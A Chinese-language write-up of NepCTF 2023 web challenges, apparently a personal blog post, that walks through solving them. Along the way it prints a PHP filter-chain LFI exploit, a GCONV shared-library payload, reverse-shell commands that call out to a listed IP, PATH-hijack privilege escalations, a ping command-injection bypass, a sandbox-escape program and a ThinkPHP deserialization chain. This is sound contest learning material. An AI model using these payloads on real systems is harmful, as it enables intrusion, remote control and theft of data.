NepCTF 2023 WriteUp

OverView

题目质量挺好的,虽然没做出几道… 学到了很多东西, 体验很好。

Web

Ez_include

这题拿了个一血。桀桀。

题目很直接,就是一个文件包含题目

chrome_N7JaWz4kg7

参考 lfi2rce-via-php-filters 可以知道,通过 php filters 可以生成任意的 php 代码,并通过文件包含进行执行

查看 phpinfo,可以知道禁用函数很多很多

fpassthru,fgetss,fgets,fopen,fread,show_souce,stream_socket_client,fsockopen,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,pfsockopen,readfile,file_get_contents,file_put_contents,fputs,fwrite,delete,rmdir,rename,chgrp,chmod,chown,copy,chdir,mkdir,file,chroot,assert,dl,move_upload_file,sysmlink,readlink,curl_init,curl_exec 

禁用的类也是

Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SplFileObject,SodiumException    

并且还有 open_basedir:/var/www/html:/tmp 的限制,没办法简单跨目录读取文件

chrome_LNU1HcwcPj

还可以知道是 apache2 环境而不是 php-fpm

发现只有 iconv modules 符合绕过条件,进行利用却提示上传文件失败。噢,居然把写文件的函数给禁用了。

AntSword_kzsAWiu3Et

参考 AntSword-Labs/bypass_disable_functions/9https://hackmd.io/@byc404/HJBlno_3P 可以知道核心步骤就是上传 so 文件并且利用 GCONV_PATH 环境变量进行加载。但是上传文件的方法似乎是死了???联想到通过 POST 请求上传文件会在 tmp 目录下暂时保存为 phpxxxxxx 文件名。也许我们可以通过 FILE 变量进行上传?注意到 move_uploaded_file 函数没有被禁。所以得出 Exp:

首先准备以下文件:

gconv-modules

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2

payload.c

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  const char* cmdline = getenv("EVIL_CMDLINE");
  system(cmdline);
  exit(0);
}

生成 payload.so

gcc payload.c -o payload.so -shared -fPIC

exp.txt (别问我为什么不直接读 /flag,测试了几次发现没权限)

<?php
putenv("GCONV_PATH=/tmp");
putenv("EVIL_CMDLINE=echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzOS45LjIxMi4xNjAvMTkwMDIgMD4mMQo=|base64 -d|bash");
iconv("payload", "UTF-8", "whatever");

通过下面的脚本依次上传文件 gconv-modulespayload.soexp.txt

import requests
# 参考 https://hackmd.io/@byc404/HJBlno_3P
url = 'http://nepctf.1cepeak.cn:31709/jump.php?link=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp'
# url 实际是 @eval($_REQUEST[1]);
files = {'file': ('filename.txt', open('./exp.txt', 'rb'))}
data = {'1': 'move_uploaded_file($_FILES["file"]["tmp_name"], "/tmp/exp.txt");'}
# 1=move_uploaded_file($_FILES["file"]["tmp_name"], "/tmp/".$_FILES["file"]["name"]);
proxy = {
    'http': 'http://127.0.0.1:8080'
}
response = requests.post(url, files=files, data=data, proxies=proxy)

print(response.text)

最后访问 http://nepctf.1cepeak.cn:31709/jump.php?link=/tmp/exp 获得反弹 shell。是 www-data 用户,没有权限读 flag。但是注意到 suid 执行文件,旁边的 src.c 应该就是这个可执行文件的源码。

WindowsTerminal_IjZLAz2KpO

WindowsTerminal_wT37MSPklF

最后就是一个简单的环境变量劫持提权。

www-data@push-716ce59e7da9400d:/tmp$ echo '/bin/cat /flag' > cat
www-data@push-716ce59e7da9400d:/tmp$ chmod +x ./cat
www-data@push-716ce59e7da9400d:/tmp$ export PATH=/tmp:$PATH
www-data@push-716ce59e7da9400d:/tmp$ /showmsg
/showmsg
NepCTF{d61cc5f4-231e-4868-af05-75e1313bee95}

ez_java_checkin

很容易知道是 shiro 特征,并且可以爆破密钥直接 getshell

cmd_SFLTjltujx

反弹 shell 后发现没有权限读取 flag,但是 find 命令有 suid 特权

关键步骤是

find / -type f -name "flag" -exec cat {} \;

WindowsTerminal_lGmMWPTWfK

NepcTF{Ezjava_Chekin}

独步天下-转生成为镜花水月中的王者

首先 nc 连上去就可以得到 shell,但是没有权限读取 flag

WindowsTerminal_FEXkEM3yEa

简单 ls /bin 发现 nmap 设置了 suid

WindowsTerminal_jV6q2llLz9

参考 https://gtfobins.github.io/gtfobins/nmap/ 提权发现不行,回显 ports-alive

WindowsTerminal_UTMBLxllrn

怎么连 port scan 的脚本都没有啊,那就自己编写一个, 得到 flag

/tmp $ echo '/bin/cat /flag' > ports-alive
echo '/bin/cat /flag' > ports-alive
/tmp $ chmod +x ports-alive
chmod +x ports-alive
/tmp $ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
/tmp $ nmap 127.0.0.1
nmap 127.0.0.1
假作真时真亦假,真作假时假亦真
flag{Everything_is_illusory}/tmp $

直接获得 root 权限

/tmp $ echo 'cat /tmp/f|/bin/sh -i 2>&1|nc 139.9.212.160 19002 >/tmp/f' > ports-alive
echo '/bin/cat /flag' > ports-alive
/tmp $ chmod +x ports-alive
chmod +x ports-alive
/tmp $ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
/tmp $ nmap 127.0.0.1
nmap 127.0.0.1

WindowsTerminal_fmRE8tqKDH

独步天下-破除虚妄_探见真实

通过题目提示进行 ping 发现只有 192.168.200.1 存在,先整整这个机器

根据提示,写了个扫描端口的脚本

#!/bin/sh

# 指定扫描的 IP 和端口范围
target_ip=192.168.200.1
start_port=1
end_port=8000

# 清空或创建结果文件
> result.txt

# 遍历指定的端口范围
current_port=$start_port
while [ "$current_port" -le "$end_port" ]
do
    echo "正在扫描端口 $current_port ..."

    # 构建 HTTP 请求并使用 nc 进行扫描
    request="GET / HTTP/1.1\\r\\nHost: $target_ip\\r\\n\\r\\n"
    echo -e "$request" | timeout 0.2 nc $target_ip $current_port >> result.txt 2>/tmp/errorlog

    # 检查是否连接成功并写入结果文件
    if [ $? -eq 0 ]; then
        echo "成功连接到端口 $current_port" >> result.txt
    fi

    current_port=$((current_port + 1))
done

echo "扫描完成,结果已保存到 result.txt 文件。"

WindowsTerminal_nQ3iv3sBMq

可以看到有 80 端口和 82 端口,用 chisel 进行端口转发

./chisel server --reverse --port 19999 # vps
./chisel client 104.208.90.240:19999 R:19998:192.168.200.1:82 #目标机器

其中 80 端口是 ZengCMS 1.0.0 没有披露漏洞。但是 82 端口是一个摄像机控制台,存在一个 ping 的功能可能存在漏洞,稍微测试了一下发现是可以 ping 通外网的。

msedge_ZCmAdFXfe0

测试发现 %0a 可以绕过从而实现命令执行

BurpSuiteCommunity_Vxib3o0UKo

读取 ping.c (看到过滤就知道不能简单的反弹 shell 了)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
//gcc -shared -o libping.so ping.c -fPIC
bool validate_input(const char *input) {
    const char *invalid_chars[] = {"sh","chown","chmod","echo","+","&", "|", ";", "$", ">", "<", "`", "\\", "\"", "'", "(", ")", "{", "}", "[", "]"};
    int num_invalid_chars = sizeof(invalid_chars) / sizeof(char *);
    for (int i = 0; i < num_invalid_chars; i++) {
        if (strstr(input, invalid_chars[i])) {
            return false;
        }
    }
    return true;
}

void ping(const char *ip_address, char *result) {
    if (!validate_input(ip_address)) {
        strcpy(result, "Error: Invalid input.");
        return;
    }

    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ping -c 2 %s", ip_address);
    FILE *fp = popen(cmd, "r");
    if (fp == NULL) {
        strcpy(result, "Error: Failed to execute command.");
        return;
    }

    char buffer[4096*2];
    while (fgets(buffer, sizeof(buffer), fp) != NULL) {
        strcat(result, buffer);
    }
    pclose(fp);
}

ls -al

drwxr-xr-x 1 ctfuser ctfuser     4096 Aug 13 03:04 .
drwxr-xr-x 1 root    root        4096 Aug 13 03:04 ..
-rw-r--r-- 1 ctfuser ctfuser     1780 Jul 21 00:06 app.py
-rw-r--r-- 1 ctfuser ctfuser 11827072 Jun 21 06:56 bzImage
-rw-r--r-- 1 ctfuser ctfuser      869 Jun 21 07:36 ctf.xinetd
-rwxr-xr-x 1 root    root       18248 Aug  2 14:12 identity
-rw-r--r-- 1 ctfuser ctfuser     4951 Jul 21 14:52 identity.c
-rwxr-xr-x 1 root    root        8264 Aug  2 14:12 libping.so
-rw-r--r-- 1 ctfuser ctfuser     1396 Jul 30 03:49 nohup.out
-rw-r--r-- 1 ctfuser ctfuser     1054 Jul 21 00:25 ping.c
-rw-r--r-- 1 ctfuser ctfuser 24133120 Jul 17 10:02 rootfs.cpio
-rwxr-xr-x 1 ctfuser ctfuser     1300 Jun 21 08:32 run.sh
-rwxr-xr-x 1 ctfuser ctfuser      117 Jul 20 15:35 start.sh
drwxr-xr-x 1 ctfuser ctfuser     4096 Jul 20 13:25 static
drwxr-xr-x 1 ctfuser ctfuser     4096 Jul 20 13:25 templates

id

uid=1000(ctfuser) gid=1000(ctfuser) groups=1000(ctfuser)

ls -al /

drwxr-xr-x    1 root    root    4096 Aug 13 03:04 .
drwxr-xr-x    1 root    root    4096 Aug 13 03:04 ..
-rwxr-xr-x    1 root    root       0 Aug 13 03:04 .dockerenv
drwxr-xr-x    1 ctfuser ctfuser 4096 Aug 13 03:04 app
drwxr-xr-x    1 root    root    4096 Jul 21 13:01 bin
drwxr-xr-x    2 root    root    4096 Apr 24  2018 boot
drwxr-xr-x    6 root    root     360 Aug 13 03:04 dev
drwxr-xr-x    1 root    root    4096 Aug 13 03:04 etc
----------    1 mysql   mysql     26 Aug  2 14:12 flag
-rwxrw----    1 ctf     ctf      154 Aug  2 14:12 flag_mini
drwxr-xr-x    1 root    root    4096 Jul 21 13:02 home
drwxr-xr-x    1 root    root    4096 Jul 21 13:01 lib
drwxr-xr-x    2 root    root    4096 Jul 21 13:01 lib32
drwxr-xr-x    1 root    root    4096 Jul 21 13:00 lib64
drwxr-xr-x    2 root    root    4096 Sep 30  2021 media
drwxr-xr-x    2 root    root    4096 Sep 30  2021 mnt
drwxr-xr-x    2 root    root    4096 Sep 30  2021 opt
dr-xr-xr-x 1146 root    root       0 Aug 13 03:04 proc
drwx------    2 root    root    4096 Sep 30  2021 root
drwxr-xr-x    1 root    root    4096 Aug 13 03:09 run
drwxr-xr-x    1 root    root    4096 Jul 21 13:01 sbin
drwxr-xr-x    2 root    root    4096 Sep 30  2021 srv
dr-xr-xr-x   13 root    root       0 Aug 13 03:04 sys
drwxrwxrwt    1 root    root    4096 Aug 13 03:04 tmp
drwxr-xr-x    1 root    root    4096 Jul 21 13:01 usr
drwxr-xr-x    1 root    root    4096 Jul 21 13:00 var

cat app.py

import os
import ctypes
import ctypes.util
import time
os.environ['FLASK_ENV'] = 'production'
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './'

lib_name='./libping.so'
def load_ping_library():
    # 加载共享库
    mylib = ctypes.CDLL(lib_name)
    return mylib

mylib = load_ping_library()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/ping', methods=['POST'])
def ping():
    global mylib
    ip_address = request.form['ip_address']
    result = ctypes.create_string_buffer(4096*2)
    mylib.ping(ip_address.encode('utf-8'), result)
    return result.value.decode('utf-8')

@app.route('/upload_avatar', methods=['POST'])
def upload_avatar():
    if request.headers.get('X-Forwarded-For') != '127.0.0.1':
        return "You are not allowed to upload files from this IP address." + " Your IP is: " + request.headers.get('X-Forwarded-For')
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)
    if not allowed_file(file.filename):
        return 'Invalid file format. Only PNG files are allowed.'
    # 限制文件大小为 5KB
    MAX_FILE_SIZE = 5 * 1024
    if len(file.read()) > MAX_FILE_SIZE:
        return 'File too large. Maximum size is 5KB.'
    # 将文件保存到服务器
    file.seek(0)  # 重置文件读取指针
    file.save(os.path.join(app.config['UPLOAD_FOLDER'], 'avatar.png'))
    return redirect(url_for('index'))

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'png'

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=82,debug=False,use_reloader=False)

cat identity.c (注意到在 9999 端口处开了服务,并且设置了 uid 1001,这不正好可以利用这个读取 /flag_mini ? 不过比较坑的就是连接一次服务就退出了,需要重新开环境)

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdint.h>
//gcc -o test1 test1.c -lcrypto -lm -lrt
void init_dir() {
    int fd=open("/home/ctf/sandbox/",O_RDONLY);
    if(fd<2) {
        exit(0);
    }
    MD5_CTX ctx;
    char md5_res[17]="";
    char key[100]="NEPCTF_6666";
    char sandbox_dir[100]="/home/ctf/sandbox/";
    char dir_name[100]="/home/ctf/sandbox/";
    FILE *new_pip;
    int i;
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    struct rlimit r;
    r.rlim_max = r.rlim_cur = 0;
    setrlimit(RLIMIT_CORE, &r);
    memset(key, 0, sizeof(key));
    MD5_Init(&ctx);
    MD5_Update(&ctx, key, strlen(key));
    MD5_Final(md5_res, &ctx);
    for (int i = 0; i < 16; i++)
            sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);
    char cmd[100];

    mkdir(dir_name, 0755);
    if (chdir(dir_name)==-1) {
        puts("chdir err, exiting\n");
        exit(1);
    }
    sprintf(cmd,"%s%s","chmod 777 ",dir_name);
    system(cmd);
    mkdir("bin", 0777);
    mkdir("lib", 0777);
    mkdir("lib64", 0777);
    mkdir("lib/x86_64-linux-gnu", 0777);
    system("cp /bin/bash bin/sh");
    system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
    system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
    system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");
    system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
    if (chroot(".") == -1) {
        puts("chroot err, exiting\n");
        exit(1);
    }
}
void command(int server_socket,int client_socket) {
    char buf[0x666];
    memset(buf,0,0x666);
    write(client_socket,"Tmp-Command:",sizeof("Tmp-Command:"));
    read(client_socket, buf, 0x10);
    setgid(1001);
    setuid(1001);
    popen(buf,"w");
}
int get_ip_address(const char *interface_name, char *ip_address) {
    int sockfd;
    struct ifreq ifr;
    // Create a socket
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        perror("Socket creation failed");
        return -1;
    }
    // Set the interface name in the ifreq structure
    strncpy(ifr.ifr_name, interface_name, IFNAMSIZ - 1);
    ifr.ifr_name[IFNAMSIZ - 1] = '\0';
    // Get the IP address using the SIOCGIFADDR ioctl request
    if (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1) {
        perror("ioctl failed");
        close(sockfd);
        return -1;
    }
    close(sockfd);
    // Convert the binary IP address to a human-readable string
    struct sockaddr_in *addr = (struct sockaddr_in *)&ifr.ifr_addr;
    strcpy(ip_address, inet_ntoa(addr->sin_addr));
    return 0;
}
int main(int argc, char **argv) {
    init_dir();
    int flag=1;
    // Server setup
    int server_socket, client_socket;
    struct sockaddr_in server_addr, client_addr;
    socklen_t client_len = sizeof(client_addr);
    // Create socket
    server_socket = socket(AF_INET, SOCK_STREAM, 0);
    if (server_socket < 0) {
        perror("Socket creation failed");
        exit(0);
    }
    // Set up server address
    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(9999);
    // Bind socket to address and port
    if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("Bind failed");
        exit(0);
    }
    // Listen for incoming connections
    if (listen(server_socket, 1) < 0) {
        perror("Listen failed");
        exit(0);
    }
    printf("Server is listening on port 9999...\n");
    // Accept connection from client
    client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
    if (client_socket < 0) {
        client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
    }
    char client_ip[INET_ADDRSTRLEN];
    inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
    printf("Client connected from IP: %s\n", client_ip);
    char ip_address[INET_ADDRSTRLEN];
    const char *interface_name = "eth0";
    if (get_ip_address(interface_name, ip_address) == 0) {
        printf("IP address of eth0: %s\n", ip_address);
    } else {
        printf("Failed to get the IP address of eth0.\n");
    }
    while(flag) {
        if(strcmp(client_ip,ip_address)) {
            send(client_socket,"Only nc by localhost!\n",sizeof("Only nc by localhost!\n"),0);
            exit(0);
        } else {
            flag=0;
        }
    }
    command(server_socket,client_socket);
    return 0;
}

下面先想办法得到一个反弹 shell

首先修改 XFF 上传 Python 代码

BurpSuiteCommunity_wxk0aNsVa9

然后通过命令执行

BurpSuiteCommunity_SDGlyKU8Rr

监听就好了

WindowsTerminal_mlsbxB3c76

我寻思根据 identity.c 的代码内容查看以下 eth0 网关的 ip 用 nc 连接一下就可以读取 /flag_mini ,但是我到最后死都想不明白,怎么执行不了命令?我的 xx 文件去哪了。

WindowsTerminal_3BLrhMVkbk

睡觉去了。就这样吧。

等别人题解来复现 —– 2023.8.14 0:03

ok, 开始复现 —- 2023.8.15

看了 https://boogipop.com/2023/08/14/NepCTF%202023%20All%20WriteUP/#%E7%8B%AC%E6%AD%A5%E5%A4%A9%E4%B8%8B-%E7%A0%B4%E9%99%A4%E8%99%9A%E5%A6%84-%E6%8E%A2%E8%A7%81%E7%9C%9F%E5%AE%9E 别人的题解后才发现是自己吃了不会 C 语言的亏。大致就是 identity.c 中的文件操作没有关闭流,可以通过编写代码连接父进程继续进行文件的操作。由于 /home/ctf/sandbox/ 沙盒下的 /bin 目录没有其它命令,我们不能直接用 sh 或者 bash 进行命令执行。

流程如下:

编写这样的 C 代码

#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    const char* filename = "../../../../flag_mini";
    int fd = openat(3, filename, O_CREAT | O_WRONLY);
    if (fd == -1) {
        // 处理打开文件失败的情况
        printf("1");
    }
    // 更改文件权限为 777
    if (fchmod(fd, S_IRWXU | S_IRWXG | S_IRWXO) == -1) {
        // 处理更改文件权限失败的情况
        printf("2");
    }
    // 使用新文件进行操作...
    return 0;
}

将这个 C 代码上传到目标机器上并编译(注意目标机器上面是没有 curl 命令的,我们需要自己编写相关函数)

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

WindowsTerminal_btiicJVvEn

将编译好的执行文件移动到沙盒目录中,再连接 nc 进行执行。

WindowsTerminal_tzWLWKoMFR

WindowsTerminal_SKwJAeW8iB

然后就可以读取 flag_mini 了

WindowsTerminal_JX2yE5r02Y

独步天下-破除试炼_加冕成王

这题看了题解后才发现真的是要审计 80 端口的 ZengCMS 1.0.0。挖 0 day。

前面已经看到了根目录下存在有 /flag 但是是 000 权限,并且所有者还是 mysql。这时候唯一能够知道 sql 密码的只有在 /var/www/html 的配置文件中才能看到。不过,我们是没有权限访问这个目录的。

用 PHPStudy 搭建好 ZengCMS 环境以后,就可以进行测试了。我们注意到 ZengCMS 使用了 thinkphp 6.0.0

9r0hczsM8N

如果找到合适的反序列化入口则会造成任意文件写入。参考 https://www.hacking8.com/bug-web/Thinkphp/Thinkphp-6.x-%E6%BC%8F%E6%B4%9E/Thinkphp-6.0-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5pop%E9%93%BE.html 不难构造出序列化连

D:\phpstudy_pro\WWW\ZengCMS\vendor\ser.php

<?php
namespace League\Flysystem\Cached\Storage;#AbstractCache Adapter
use League\Flysystem\Adapter\Local;
abstract class AbstractCache{
    protected $autosave = true;
    protected $cache = [];
    protected $complete = [];
    function __construct(){
        $this->autosave = false;
        $this->cache = ['test'];
        $this->complete = ["axin"=>"<?php phpinfo();?>"];
    }
}

class Adapter extends AbstractCache{
    protected $adapter;
    protected $file;
    protected $expire = null;

    function __construct(){
        parent::__construct();
        $this->adapter = new Local();
        #$this->file = "var/www/html/index.php";
        #D:\phpstudy_pro\WWW\ZengCMS\vendor\ser.php
        $this->file = "://phpstudy_pro/WWW/ZengCMS/vendor/poccccccccccccccccccccccccccccc.php"; #winsows下目录
        $this->expire = 123;
    }
}

namespace League\Flysystem\Adapter;
abstract class AbstractAdapter{
    protected $pathPrefix;
    function __construct(){
        #$this->pathPrefix = "/";
        $this->pathPrefix = "D";  #windows下目录
    }
}
class Local extends AbstractAdapter{

}
use League\Flysystem\Cached\Storage\Adapter;
echo base64_encode(serialize(new Adapter()));

通过 Seay 审计发现,ZengCMS 会对 Cookie 中的 admin_auth_cookie 内容进行反序列化操作

Seay源代码审计系统_X2pZnkbGX3

但是还套了一层加密函数并且 think_decryptthink_encrypt 函数都是自定义的。最简单的办法就是直接修改 admin 上面的路由,也就是 D:\phpstudy_pro\WWW\ZengCMS\app\admin\controller\Index.php如下:

sublime_text_IVU6kn9bJl

访问之就可以拿到我们需要的 Payload

msedge_0efDSOutub

而反序列化的触发点显然是 /admin/*

chrome_IDQy4pJEIr

然后就可以发现创建了 php 文件了

chrome_YYO6l3Sh2J

按照上述步骤,我们非常容易上传一个 Payload 到目标机器上

读取 database.php 就可以知道数据库用户名和密码了

chrome_FWzGdoAgD4

利用直接 Python 反弹回来的 shell,依次执行

